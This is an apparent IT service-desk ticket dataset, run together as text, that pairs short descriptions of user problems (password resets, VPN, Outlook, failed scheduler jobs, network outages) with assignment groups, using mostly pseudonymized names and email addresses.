, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0454269, Description: ticket update on ticket\_no0454269, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to display expense report, Description: unable to display expense report, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for upitdmhz owupktcg cruzjc, Description: password reset for upitdmhz owupktcg cruzjc, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login in benefits tab, Description: unable to login in benefits tab, is assigned to Assignment group: GRP\_0.Ticket with Short description: hello, i'm having an issue with my outlook view. can you call me and let me share my screen?, Description: hello, i'm having an issue with my outlook view. can you call me and let me share my screen?, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access mails , Description: unable to access mails , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to display expense report, Description: unable to display expense report, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation, Description: from: tvcdfqgp nrbcqwgj
sent: friday, october 28, 2016 3:13 pm
to: nwfodmhc exurcwkm
subject: se ha bloqueado en forma temporal la sincronizaciÃ³n de su dispositivo mÃ³vil mediante exchange activesync hasta que su administrador autorice el acceso.
hi
i received this message and our local it expert has told me to open a ticket.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: internal keybankrd will not work after cs nor will an external usb keybankrd., Description: internal keybankrd will not work after cs nor will an external usb keybankrd., is assigned to Assignment group: GRP\_3.Ticket with Short description: blank call //gso, Description: blank call //gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: update on inplant\_874269, Description: update on inplant\_874269, is assigned to Assignment group: GRP\_0.Ticket with Short description: password change thru password\_management\_tool password manager, Description: \_x000D\_
\_x000D\_
received from: jvpkulxw.ovuweygj@gmail.com\_x000D\_
\_x000D\_
hello sir,\_x000D\_
\_x000D\_
i tried to change my password thru above. i got below error. pl help know what action to be taken further to ensure all passwords are same everywhere since belo wmsg says all passwords were not changed.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d2316b.5ff15980]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock personal number in ess, Description: unlock personal number in ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: intermittent service on configair server in SID\_34 requires probably a restart on production server, Description: intermittent service on configair server in SID\_34 requires probably a restart on production server.
the error occurs in production and shows "500 internal serrver error. error: while trying to invoke the method java.util.list.iterator() of null object loaded from local variable 'local list'"
the issue can be reproduced in production e.g.:
a) company customer e.g.# 81510728 and base material mm3716934 (hss/pm finishing)
b) company customer e.g. .# 81510728 and starting from scratch. i can select a product platform e.g. hp hss/pm roughing, but the screen freezes.
c) log-on language different "en", e.g. "de". company customer e.g. 81124199; base material e.g. 5157483.
we had this issues already several times before and it needed always a restart of the server. thryeu is a good contact person for this issue as he was already working on the root cause with our external vendor configair.
, is assigned to Assignment group: GRP\_14.Ticket with Short description: unable to access vpn, Description: unable to access vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook, Description: unable to open outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: install driver in printer hr14 in HostName\_769, Description: install driver in printer hr14 in HostName\_769, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to send emails from outbox, Description: unable to send emails from outbox, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to business\_client drawings, Description: name:xvgftyr tryfuh
language:
browser:microsoft internet explorer
email:cnkoflhi.abeoucfj@gmail.com
customer number:
summary:i cannot seem to access the drawings from the netweaver application that is installed on my computer. it doesn't take me to the same page that my colleagues have., is assigned to Assignment group: GRP\_0.Ticket with Short description: taking off email permissions from personal phone, Description: name:vdhfy
language:
browser:microsoft internet explorer
email:dcvphjru.ybomrjst@gmail.com
customer number:
summary:i have scrapped the old phone. my mail was configured in it. can you take off the permissions set to view mails on that phone, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1854 failed in job\_scheduler at: 10/28/2016 11:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1854 failed in job\_scheduler at: 10/28/2016 11:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1879 failed in job\_scheduler at: 10/28/2016 11:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1879 failed in job\_scheduler at: 10/28/2016 11:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to view payslips in ie, Description: unable to view payslips in ie, is assigned to Assignment group: GRP\_0.Ticket with Short description: prtgghj4k45 password reset, Description: please reset hr\_tool gv4536 password reset. , is assigned to Assignment group: GRP\_0.Ticket with Short description: channel partner receiving multiple emails from erp--- urgent, Description: hi,
our channel partner with the email address djhadkudhd@gmail.com, received 50 emails regarding the pos error in a matheywter of 30 milliseconds. he is very angry, this needs to be fixed aerp. attached is a file extracted from erp documenting the 50 emails. , is assigned to Assignment group: GRP\_15.Ticket with Short description: usa - (company) : interface fastethernet0/16 & gigabitethernet1/0/18 is down since 09:23 pm et on 09/28., Description: usa - (company) : interface fastethernet0/16 & gigabitethernet1/0/18 is down since 09:23 pm et on 09/28., is assigned to Assignment group: GRP\_8.Ticket with Short description: password reset, Description:
received from: qtrmxlgv.dfruzvam@gmail.com
good morning,
i have forgotten my password for erp SID\_1. i have made 3 attempts and failed. could you please reset. my user id is dgrtrkjs123.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ess login issue, Description: ess login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to start dell 7350 2 in 1 device, Description: qifzkoej etbmgjvo is unable to start his dell 7350 2 in 1 tablet device. , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp\_print\_tool install., Description: erp\_print\_tool install., is assigned to Assignment group: GRP\_0.Ticket with Short description: good morning. i am having trouble getting into my vpn, Description: name:wvngzrca sfmrzdth
language:
browser:microsoft internet explorer
email:wvngzrca.sfmrzdth@gmail.com
customer number:
summary:good morning. i am having trouble getting into my vpn
can you assist, is assigned to Assignment group: GRP\_0.Ticket with Short description: install acrobat standard, Description: install acrobat standard, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset from ad, Description: password reset from ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for wseacnvi azvixyqg on erp / qa / erp, Description: please reset my password to SID\_1. it's blocked. login - jdhdw345 . , is assigned to Assignment group: GRP\_0.Ticket with Short description: i used to have acces to this location on collaboration\_platform. now i do not. i need access., Description:
received from: bwfhtumx.japznrvb@gmail.com
[cid:image001.jpg@01d230f7.8bb4e830]
bwfhtumx japznrvb
regional controller
bwfhtumx.japznrvb@gmail.com<mailto:bwfhtumx.japznrvb@gmail.com>
, is assigned to Assignment group: GRP\_16.Ticket with Short description: crm add-in is getting disabled from outlook , Description: crm add-in is getting disabled from outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook hangs., Description: outlook hangs., is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn not working., Description: vpn not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for hckvpary emxbpkwy using password\_management\_tool password reset., Description: employee is getting an error "user authentication failed" when trying to log into the ess portal. she is able to access erp and is able to access the hub. tried to reset and change her password through password\_management\_tool password manager but got an error "cannot find account [woodscf] on target [active directory]."
her user id is hdjdkt123, is assigned to Assignment group: GRP\_17.Ticket with Short description: job bkbackup\_tool\_sql\_prod\_inc failed in job\_scheduler at: 10/28/2016 07:41:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_sql\_prod\_inc failed in job\_scheduler at: 10/28/2016 07:41:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: wy123 printer, Description:
received from: nxhwyepl.mudstbxo@gmail.com
please note some continuous erp printing is happening in printer wy123. the print is not given locally please arrange to cancel the same immediately as lot of paper is getting wasted.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: update java viewer ?, Description: \_x000D\_
\_x000D\_
received from: uijxpazn.gvtzlphs@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
java viewer is not working any more. i need access to view scanned inwarehouse\_tools in erp.\_x000D\_
\_x000D\_
i assume java update is required ?\_x000D\_
\_x000D\_
[cid:image001.png@01d2311b.deaf3cb0]\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_137 failed in job\_scheduler at: 10/28/2016 06:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_137 failed in job\_scheduler at: 10/28/2016 06:38:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: HostName\_1297 is currently experiencing high cpu utilization. please investigate!, Description: we are observing below alert in monitoring\_tool:\_x000D\_
\_x000D\_
HostName\_1297 is currently experiencing high cpu utilization. please investigate!, is assigned to Assignment group: GRP\_14.Ticket with Short description: access to bex, Description: \_x000D\_
\_x000D\_
received from: yfqoaepn.xnezhsit@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
till last week i was accessing bex reports using mms portal and there were no issues.\_x000D\_
\_x000D\_
starting this week the system is incredibly slow when i log in and finally does not allow me to access any reports.\_x000D\_
\_x000D\_
can it be the issue with any maintenance or my access rights or rather i should try to access bex using different way?\_x000D\_
\_x000D\_
below the print screen from what i see after log in:\_x000D\_
[cid:image001.png@01d2310c.f184b360]\_x000D\_
\_x000D\_
i am also able to get to finance reports (see below), however when i click "profitability analysis" (as i was always doing) separate window is open however apart rom that the screen is blank.\_x000D\_
[cid:image002.png@01d2310c.f184b360]\_x000D\_
\_x000D\_
\_x000D\_
i appreciate your support.\_x000D\_
\_x000D\_
have a great day â˜º\_x000D\_
\_x000D\_
robhyertyj\_x000D\_
\_x000D\_
\_x000D\_
yfqoaepn xnezhsit\_x000D\_
managing director\_x000D\_
finance manager cee\_x000D\_
yfqoaepn.xnezhsit@gmail.com<mailto:yfqoaepn.xnezhsit@gmail.com>\_x000D\_
tel:+48(61)7767671\_x000D\_
mob:+48 694 425 760\_x000D\_
\_x000D\_
company polska sp. z o.o. , ul. krzywoustego 7, 61-144 poznaÅ„, www.company.com<\_x000D\_
\_x000D\_
company polska sp. z o.o. z siedzibÄ… w polandiu, 61-144 poznaÅ„, ul. krzywoustego 7.\_x000D\_
spÃ³Å‚ka zarejestrowana w sÄ…dzie rejonowym poznaÅ„-nowe miasto i wilda w polandiu, wydziaÅ‚ viii gospodarczy krs pod numerem 1111286691.\_x000D\_
kapitaÅ‚ zakÅ‚adowy 100 000 pln, nip 954-20-87-982.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: æ’¤å›ž: ticket\_no1564867 -- comments added, Description:
received from: abcdri@company.com
windy shi å°†æ’¤å›žé‚®ä»¶"ticket\_no1564867 -- comments added"ã€‚
æœ¬è®¯æ¯ä»…ä¾›æŒ‡å®šçš„æŽ¥æ”¶äººä½¿ç”¨ï¼Œå…¶ä¸­å¯èƒ½åŒ…å«é€‚ç”¨æ³•å¾‹é¡¹ä¸‹ç‰¹è®¸çš„ã€ä¿å¯†çš„å’Œç¦æ­¢æŠ«éœ²çš„å†…å®¹ã€‚é™¤æŒ‡å®šçš„æŽ¥æ”¶äººå¤–ï¼Œä¸¥ç¦å…¶ä»–ä»»ä½•äººä¼ æ’­ã€åˆ†å‘æˆ–å¤åˆ¶æœ¬è®¯æ¯ã€‚å¦‚æžœæ‚¨è¯¯æ”¶åˆ°æœ¬è®¯æ¯ï¼Œè¯·é€šçŸ¥å‘ä»¶äººå¹¶å°†è®¯æ¯åˆ é™¤ã€‚
[
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in erp SID\_34, Description: account locked in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/28/2016 04:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/28/2016 04:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: user needs training to use engineering tool to view drawings., Description: user needs training to use engineering tool to view drawings.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help and educated the user on how login to business\_client and view drawings.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype not working, Description: \_x000D\_
\_x000D\_
received from: rhwvpmlq.zuwhpqrc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am unable to access the skype . the password is showing error .\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d2311d.d4c2e240]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock request., Description: account unlock request., is assigned to Assignment group: GRP\_0.Ticket with Short description: [urgent!!] delivery note creation request!! , Description:
received from: fbvpcytz.nokypgvx@gmail.com
hello it team,
could you please generate delivery note for below order?
we cannot issue dn for so#36199966 despite of enough stock for all of items at shipping plantâ€¦
sales org : 500000
delivery plant : plant\_317
shipping point : tys12456
so#36199966
mm#6784736 1pc
mm#7415645 10pcs
mm#7415646 10pcs
[cid:image002.jpg@01d23138.6a0c5b50]
, is assigned to Assignment group: GRP\_18.Ticket with Short description: job Job\_495 failed in job\_scheduler at: 10/28/2016 03:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_495 failed in job\_scheduler at: 10/28/2016 03:12:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_481 failed in job\_scheduler at: 10/28/2016 02:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_481 failed in job\_scheduler at: 10/28/2016 02:51:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to take print out from wy4678, Description: unable to take print out from wy4678, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_487 failed in job\_scheduler at: 10/28/2016 02:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_487 failed in job\_scheduler at: 10/28/2016 02:06:00, is assigned to Assignment group: GRP\_12.Ticket with Short description: unlock supply\_chain\_software account , Description: \_x000D\_
\_x000D\_
received from: fgehvwxb.ckxegsqv@gmail.com\_x000D\_
\_x000D\_
hi there,\_x000D\_
\_x000D\_
would you please help me unlock my supply\_chain\_software account and reset my supply\_chain\_software password? , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access password\_management\_tool id password manager ijeqpkrz nwtehsyx grauw, Description: i try to change now my password acc. to attached e-mail but this donÂ´t work. i was out of office for vacation time until now, but\_x000D\_
password\_management\_tool link donÂ´t work - please help\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
your password expires in 13 day(s) \_x000D\_
\_x000D\_
the requirement to change your password every 90 days enhances data security within company. \_x000D\_
\_x000D\_
please login to \_x000D\_
a step-by-step guide on using the self-service tool is available here: \_x000D\_
\_x000D\_
please do not reply to this email. if you require assistance, please submit a ticket to the global support center via any of these modes: \_x000D\_
\_x000D\_
ticketing\_tool: \_x000D\_
email: help@company.com \_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_2.Ticket with Short description: job HostName\_957fail failed in job\_scheduler at: 10/28/2016 02:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_957fail failed in job\_scheduler at: 10/28/2016 02:03:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: unable to login to erp SID\_34 , Description: unable to login to erp SID\_34 , is assigned to Assignment group: GRP\_0.Ticket with Short description: crm license for user dfgry, Description: from: xdvwitpm zscxqdhoalaramdntyan
sent: friday, october 28, 2016 9:40 am
to: 'help@company.com'
cc: xyculgav cuqptoah
subject: fw: crm license for dfgry
hello,
crm is not installed in my laptop.
please support me on this.
, is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_1854 failed in job\_scheduler at: 10/28/2016 01:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1854 failed in job\_scheduler at: 10/28/2016 01:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: apply for mobile phone access to mail box, Description: apply for mobile phone access to mail box, is assigned to Assignment group: GRP\_0.Ticket with Short description: data not correctly pulled for all the employees in the travel\_tool attendee interface., Description: data not correctly pulled for all the employees in the travel\_tool attendee interface., is assigned to Assignment group: GRP\_20.Ticket with Short description: é’å²›å…´åˆæœºç”µshipment notificationé‚®ç®±è®¾ç½®, Description: from:
sent: friday, october 28, 2016 7:20 am
to: nwfodmhc exurcwkm
subject: re: é’å²›å…´åˆæœºç”µshipment notificationé‚®ç®±è®¾ç½®
dearï¼Œ
pls help to update customer 4563729890 shipment notification email address : abcdegy@gmail.com
b. , is assigned to Assignment group: GRP\_18.Ticket with Short description: to recover folder that by mistake copied to x:\ drive, Description: i want recover folder\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/27/2016 22:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/27/2016 22:08:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: network outage: india: site hard down since at 8:34 pm et on 10/27. no backup circuit., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_8:34 pm et on 10/27\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_na\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: password reset request, Description: password reset request, is assigned to Assignment group: GRP\_0.Ticket with Short description: user is not able to see all text in mails on his iphone, Description: user is not able to see all text in mails on his iphone, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset , Description: password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sync all mails in outlook on wifi, Description: unable to sync all mails in outlook on wifi, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm tab does not appear on outlook, Description: crm tab does not appear on outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to submit expense report as it is locked by user, Description: unable to submit expense report as it is locked by user, is assigned to Assignment group: GRP\_0.Ticket with Short description: titcket update on inplant\_874008, Description: titcket update on inplant\_874008, is assigned to Assignment group: GRP\_0.Ticket with Short description: i need to approve the new product requests below, Description: i need to approve the new product requests below, is assigned to Assignment group: GRP\_21.Ticket with Short description: ticket update on inplant\_873870, Description: ticket update on inplant\_873870, is assigned to Assignment group: GRP\_0.Ticket with Short description: changed desktop wallpaper, Description: changed desktop wallpaper, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open website, Description:
name:xbdht yrjhd
language:
browser:microsoft internet explorer
email:aqjdvexo.lmedazjo@gmail.com
customer number:
summary: benefit advisor will not run in my browser., is assigned to Assignment group: GRP\_0.Ticket with Short description: msd crm, Description: assign crm and e4 license to nyrjkctu tbhkenlo- use profile like qmglkaru qiwhfkdv., is assigned to Assignment group: GRP\_22.Ticket with Short description: sound, Description: \_x000D\_
\_x000D\_
received from: udetjzmn.ayueswcm@gmail.com\_x000D\_
\_x000D\_
good afternoon\_x000D\_
\_x000D\_
i am having issues again with my notebook in that i cannot get any sound and cannot participate in skype calls.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need the username to submit the insurance, Description: need the username to submit the insurance, is assigned to Assignment group: GRP\_0.Ticket with Short description: query on external browser , Description: query on external browser , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access benefits and other apps in hr\_tool one time, Description: unable to access benefits and other apps in hr\_tool one time. access denied. , is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to see the current course in ethics, Description: unable to see the current course in ethics
user id - bdtryh3456
, is assigned to Assignment group: GRP\_23.Ticket with Short description: user clicked on driver update manually and then after restarting the machine he's receivng a error, Description: user clicked on driver update manually and then after restarting the machine he received an error stating pnp\_detected\_fatal\_error , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_37 account unlock, Description: erp SID\_37 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephone number update, Description: telephone number update, is assigned to Assignment group: GRP\_0.Ticket with Short description: insurance information, Description: insurance information, is assigned to Assignment group: GRP\_0.Ticket with Short description: please give chrtyad345 access to reporting\_tool ltaballotcsalesemp and map him to thrdy tgyu team as an ae in the virtual table, Description: please give chrtyad345 access to reporting\_tool ltaballotcsalesemp and map him to thrdy tgyu team as an ae in the virtual table, is assigned to Assignment group: GRP\_2.Ticket with Short description: loud noise // gso, Description: loud noise // gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: ess kiosk user password reset, Description: ess kiosk user password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage - warehouse: node company-ups-vpn-rtr is down 10/27/2016 9:54 am, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_10/27/2016 9:54 am\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: aw: ticket\_no1561075 -- comments added, Description:
received from: repyzajo.lxfwopyq@gmail.com
hi ,
i have uacyltoe hxgayczeed in SID\_1 and it works now correctly.
the accounting documents were generated automatically without any errors.
i am approving the change.
[cid:image001.png@01d23073.3ecd7430]
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: export shipment of grinding mahcine to khdgd1234, apac - advance information, Description:
received from: rdfjsawg.zpmxgdcw@gmail.com
from: hdytrkfiu
sent: thursday, october 27, 2016 4:46 pm
to: <rfqhoaky.rncspbot@gmail.com>; <ikxjfnml.kaocbpfr@gmail.com>; <rdfjsawg.zpmxgdcw@gmail.com>
cc: <tshljagr.mhyiopxr@gmail.com>; <zgmdster.bdvcealj@gmail.com>; xjzcbgnp vfkwscao <xjzcbgnp.vfkwscao@gmail.com>; <avurmegj.pxgmjynu@gmail.com>
subject: export shipment of grinding mahcine to khdgd1234, apac - advance information
we are pushixepyfbga wtqdyoin for dispatching an grinding machine to khdgd1234, apac tomorrow. this is just for your advance information. once everything is in place, we will seek your support in your areas to help us in clearing this consignment tomorrow 28.10.16. , is assigned to Assignment group: GRP\_0.Ticket with Short description: please add my work phone number to my profile , Description: contact phone , is assigned to Assignment group: GRP\_0.Ticket with Short description: adding members to dl , Description: adding members to dl, is assigned to Assignment group: GRP\_0.Ticket with Short description: java issue on uacyltoe hxgaycze laptop., Description: java issue on uacyltoe hxgaycze laptop., is assigned to Assignment group: GRP\_19.Ticket with Short description: support fÃ¼r fa.gstry \arexjftu ohxdwngl, Description: support fÃ¼r fa.konnica \arexjftu ohxdwngl, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit bluescreen ., Description: hallo ,
es ist erneut passiert. der pc hat sich zum wiederholten male aufgehÃ¤ngt und mir lediglich einen blauen bildschirm mit weisser schrift prÃ¤sentiert.
was kÃ¶nnen wir da machen?
, is assigned to Assignment group: GRP\_24.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/27/2016 09:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/27/2016 09:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: EU\_tool crashes when confirmations are deleted - not able to remove scrap confirmations that have been rectified in erp, Description: EU\_tool crashes when confirmations are deleted - not able to remove scrap confirmations that have been rectified in erp, is assigned to Assignment group: GRP\_25.Ticket with Short description: enable bgdxitwu dhcopwxa' active directory account, Description: enable bgdxitwu dhcopwxa' active directory account
name:fdgrty
email:kybgepnj.idszleru@gmail.com
summary:i need bgdxitwu dhcopwxa's active directory account enabled., is assigned to Assignment group: GRP\_2.Ticket with Short description: sync emails issue, Description: sync emails issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: internet explorer issues, Description: user is having issues with his internet explorer. the page keeps refreshing and ends up with a dll error., is assigned to Assignment group: GRP\_3.Ticket with Short description: call for ecwtrjnq jpecxuty, Description: call for ecwtrjnq jpecxuty, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call , Description: blank call , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to view payslips, Description: unable to view payslips, is assigned to Assignment group: GRP\_0.Ticket with Short description: customer not getting order acknowledgements automatically, Description:
received from: ourhmqta.tjwnqexo@gmail.com
two customer accounts have not been getting the order acknowledgements automatically like they have been for the past 10 years. both are under the same top parent
accts 81184926657 and 81862217657 should automatically be sending acknowledgements to hdyrugdty@gmail.com
since october 14'th they have not been getting them.
can someone look into this? this is affecting the customer paying the bills, as they use this acknowledgement as a receiver so they can pay the bill.
senior sales engineer
company, inc
ourhmqta.tjwnqexo@gmail.com
, is assigned to Assignment group: GRP\_13.Ticket with Short description: production order locked., Description: production order 226061609 is locked by user, gtxuamif pamxszek. no one has been able to unlock. can this order be unlocked?
inspection lot 040001149576588 is being processed by gtxuamif pamxszek, is assigned to Assignment group: GRP\_14.Ticket with Short description: i need access to finance section of hub, Description:
received from: bwfhtumx.japznrvb@gmail.com
i could always get into the finance section, and now i can't. i need access, please.
[cid:image001.jpg@01d2302e.562bddf0]
bwfhtumx japznrvb
regional controller
bwfhtumx.japznrvb@gmail.com<mailto:bwfhtumx.japznrvb@gmail.com>
